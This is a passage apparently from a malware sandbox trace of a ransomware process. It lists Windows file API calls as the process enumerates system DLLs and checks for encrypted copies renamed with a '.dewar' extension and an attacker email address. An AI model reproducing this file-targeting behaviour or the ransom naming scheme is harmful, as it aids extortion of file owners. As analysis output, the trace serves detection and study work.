lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0244.608] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=389120) returned 1 [0244.608] CloseHandle (hObject=0x1b4) returned 1 [0244.609] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprst.dll")) returned 0x20 [0244.609] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprst.dll")) returned 0x20 [0244.609] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprst.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0244.609] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprst.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.610] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdarem.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0244.610] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=249856) returned 1 [0244.610] CloseHandle (hObject=0x1b4) returned 1 [0244.610] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdarem.dll")) returned 0x20 [0244.611] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdarem.dll")) returned 0x20 [0244.611] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\msadc\\msdarem.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0244.611] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdarem.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.612] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaremr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0244.612] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=8192) returned 1 [0244.612] CloseHandle (hObject=0x1b4) returned 1 [0244.612] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaremr.dll")) returned 0x20 [0244.612] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaremr.dll")) returned 0x20 [0244.613] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaremr.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0244.613] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaremr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.613] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdfmap.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0244.614] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=57344) returned 1 [0244.614] CloseHandle (hObject=0x1b4) returned 1 [0244.614] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdfmap.dll")) returned 0x20 [0244.614] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdfmap.dll")) returned 0x20 [0244.614] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\msadc\\msdfmap.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0244.615] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdfmap.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.615] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL" (normalized: "c:\\program files\\common files\\system\\msmapi\\1033\\msmapi32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0244.626] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=58752) returned 1 [0244.626] CloseHandle (hObject=0x1b4) returned 1 [0244.627] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL" (normalized: "c:\\program files\\common files\\system\\msmapi\\1033\\msmapi32.dll")) returned 0x20 [0244.627] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL" (normalized: "c:\\program files\\common files\\system\\msmapi\\1033\\msmapi32.dll")) returned 0x20 [0244.627] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\msmapi\\1033\\msmapi32.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0244.627] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL" (normalized: "c:\\program files\\common files\\system\\msmapi\\1033\\msmapi32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.628] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\msdasqlr.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0245.062] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=5632) returned 1 [0245.063] CloseHandle (hObject=0x1c8) returned 1 [0245.063] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\msdasqlr.dll.mui")) returned 0x20 [0245.063] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\msdasqlr.dll.mui")) returned 0x20 [0245.063] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\msdasqlr.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0245.063] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\msdasqlr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.064] SetEvent (hEvent=0x118) returned 1 [0245.064] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0245.065] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=44032) returned 1 [0245.065] CloseHandle (hObject=0x1c8) returned 1 [0245.065] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui")) returned 0x20 [0245.065] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui")) returned 0x20 [0245.065] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0245.065] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.066] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0245.066] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=17920) returned 1 [0245.066] CloseHandle (hObject=0x1c8) returned 1 [0245.067] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui")) returned 0x20 [0245.067] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui")) returned 0x20 [0245.067] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0245.067] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.068] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaosp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0245.068] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=126976) returned 1 [0245.068] CloseHandle (hObject=0x1c8) returned 1 [0245.068] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaosp.dll")) returned 0x20 [0245.069] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaosp.dll")) returned 0x20 [0245.069] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaosp.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0245.070] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaosp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.070] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0245.074] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=434176) returned 1 [0245.074] CloseHandle (hObject=0x1c8) returned 1 [0245.074] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaps.dll")) returned 0x20 [0245.074] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaps.dll")) returned 0x20 [0245.074] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaps.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0245.074] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.075] SetEvent (hEvent=0x118) returned 1 [0245.075] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasql.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0245.076] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=745472) returned 1 [0245.076] CloseHandle (hObject=0x1c8) returned 1 [0245.076] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasql.dll")) returned 0x20 [0245.076] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasql.dll")) returned 0x20 [0245.076] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasql.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0245.076] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasql.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.078] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasqlr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0245.079] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=61440) returned 1 [0245.079] CloseHandle (hObject=0x1c8) returned 1 [0245.079] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasqlr.dll")) returned 0x20 [0245.079] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasqlr.dll")) returned 0x20 [0245.080] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasqlr.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0245.080] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasqlr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.081] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdatl3.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0245.082] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=131072) returned 1 [0245.083] CloseHandle (hObject=0x1c8) returned 1 [0245.083] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdatl3.dll")) returned 0x20 [0245.083] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdatl3.dll")) returned 0x20 [0245.083] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\ole db\\msdatl3.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0245.083] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdatl3.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.086] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msxactps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0245.089] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=36864) returned 1 [0245.090] CloseHandle (hObject=0x1c8) returned 1 [0245.090] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msxactps.dll")) returned 0x20 [0245.090] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msxactps.dll")) returned 0x20 [0245.090] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\ole db\\msxactps.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0245.090] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msxactps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.091] SetEvent (hEvent=0x118) returned 1 [0245.091] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0245.092] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=1101824) returned 1 [0245.092] CloseHandle (hObject=0x1c8) returned 1 [0245.092] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32.dll")) returned 0x20 [0245.092] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32.dll")) returned 0x20 [0245.092] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0245.092] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.093] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32r.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0245.093] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=81920) returned 1 [0245.093] CloseHandle (hObject=0x1c8) returned 1 [0245.093] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32r.dll")) returned 0x20 [0245.094] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32r.dll")) returned 0x20 [0245.094] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32r.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0245.094] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32r.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.095] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0245.100] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=9804) returned 1 [0245.101] CloseHandle (hObject=0x1c8) returned 1 [0245.101] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc")) returned 0x20 [0245.101] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc")) returned 0x20 [0245.101] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0245.101] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.101] SetEvent (hEvent=0x118) returned 1 [0245.102] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 